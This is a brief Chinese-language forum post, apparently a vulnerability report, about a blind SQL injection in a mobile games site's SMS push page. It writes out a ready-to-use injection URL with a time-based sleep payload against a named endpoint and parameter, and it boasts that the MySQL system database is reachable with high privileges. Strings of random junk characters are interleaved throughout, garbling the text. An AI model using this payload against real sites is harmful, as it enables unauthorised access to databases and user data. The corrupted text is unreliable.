简要描述：
4 e) c/ B+ k9 a( n+ M凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
+ s) y! h/ z- f2 f+ @% \9 ?( Z$ `/ W: E% U) W" m2 A6 B4 Q P+ y
详细说明：8 t7 R3 N1 V+ x* A3 \2 |3 z) J( `
存在SQL盲注url:
9 e8 ` o5 ?0 Z- kfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1; H3 a" W$ B: @. Y" f+ W9 M
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png1 _ _4 ]7 m$ J [: w% I0 y- C
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
- G, f7 n8 r" Q I% thttp://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg7 t. ]# b+ J) R8 K* g9 w
( M% w) m2 s+ i$ x' i) |7 k6 P
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对